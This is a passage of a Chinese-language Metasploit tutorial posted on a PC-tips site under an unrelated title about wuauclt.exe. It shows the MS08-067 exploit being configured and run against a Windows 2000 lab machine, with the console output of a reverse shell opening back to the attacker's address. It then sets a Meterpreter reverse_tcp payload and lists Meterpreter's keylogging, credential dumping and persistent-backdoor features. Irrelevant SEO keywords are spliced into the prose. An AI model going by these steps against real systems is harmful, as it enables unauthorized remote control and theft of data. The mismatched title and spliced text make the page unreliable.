wuauclt1.exe_wuauclt1exe能删除吗_关闭wuauclt.exe(5)

—- ————— ——– ———–

EXITFUNC thread yes Exit technique: seh, thread, process,none

LHOST 192.168.200.148 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

— —-

0 Automatic Targeting

msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > exploit

• Started reverse handler on 192.168.200.148:4444

• Automatically detecting the target…

• Fingerprint: Windows 2000 – Service Pack 0 – 4 –lang:English

• Selected Target: Windows 2000 Universal

• Attempting to trigger the vulnerability…

• Command shell session 3 opened (192.168.200.148:4444 ->192.168.200.140:2226) at 2011-12-27 01:20:55 -0500

Microsoft Windows 2000 [Version 5.00.2195]

C:WINNTsystem32>

同样成功获得shell，哈哈

我们可以看到，设置Reverse Shell并不是很复杂，和bindshell相比只需要多设置一个本地地址LHOST就可以了

######################功能强大的meterpreter##########################

下面介绍的是Meterpreter

A meterpreter is an advanced, stealthy, multifaceted, anddynamically extensible

payload which operates by injecting reflective DLL into a targetmemory. Scripts

and plugins can be dynamically loaded at runtime for the purpose ofextending

the post-exploitation activity. This includes privilege escalation,dumping system

accounts, keylogging, persistent backdoor service, enabling remotedesktop, and

many other extensions. Moreover, the whole communication of themeterpreter shell

is encrypted by default.

英文我就不翻译了，不献丑了。wuauclt1exe能删除吗总而言之，言而总之，meterpreter是一个很强大的工具。

我们把payload设置为meterpreter

msf exploit(ms08_067_netapi) > set payloadwindows/meterpreter/reverse_tcp

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-28348-5.html